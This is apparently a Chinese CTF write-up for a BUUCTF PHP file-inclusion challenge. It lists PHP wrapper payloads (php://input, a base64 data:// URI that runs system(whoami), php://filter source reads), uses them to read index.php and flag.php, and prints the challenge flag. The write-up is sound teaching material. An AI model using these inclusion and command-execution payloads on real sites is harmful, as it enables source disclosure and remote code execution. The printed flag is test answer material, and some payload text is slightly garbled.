题目:[ACTF2020 新生赛]Include1
题目来源:buuctf
过程分析:
1、首先看到一个tips,我们打开看看
然后从题目我们知道这个是一个文件包含题,对文件进行php伪协议检测
伪协议
php://input:用来接收POST数据。我们能够通过input把我们的语句输入上去然后执行。条件: php <5.0 ,allow_url_include=Off 情况下也可以用 php > 5.0,只有在allow_url_fopen=On 时才能使用例: http://localhost/include/file.php?file=php://input //URL ")?> //POST,创建一个文件a.php;并写入phpinfodata://:将原本的include的文件流重定向到了用户可控制的输入流中条件: allow_url_include=On php > 5.2例: http://localhost/file.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKHdob2FtaSk/Pg== //base64加密<?php system(whoami);?>;直接执行命令 http://localhost/image.php?imagedata=data://image/jpeg;base64,..... // 后面加上图片木马;图片命令执行php://filter:这个语句用来查看源码。直接包含php文件时会被解析,不能看到源码,所以用filter来读取,不过要先base64加密传输过例: http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=C:\oneword //可以跟绝对路径也可以跟相对路径 http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=[http|https|ftp]://www.bbb.com/2.txt //远程路径防御: 尽量使用安全版本的php 做好php的安全配置 对相应目录做相应权限设置
使用input伪协议会被检车会被过滤,我们换一种filter读取源代码
?file=php://filter/read=convert.base64-encode/resource=index.php
用工具将伪代码解码就得到文件源码了
tips';}?>
input伪协议是被过滤了,我们再用filter伪协议去读取flag.php文件
?file=php://filter?read=convert.base64-encode/resource=flag.php
再用base64工具解码就得到flag了
flag{eba8550a-7871-47ae-b101-232fdb610777}
来源地址:https://blog.csdn.net/weixin_64160292/article/details/123865805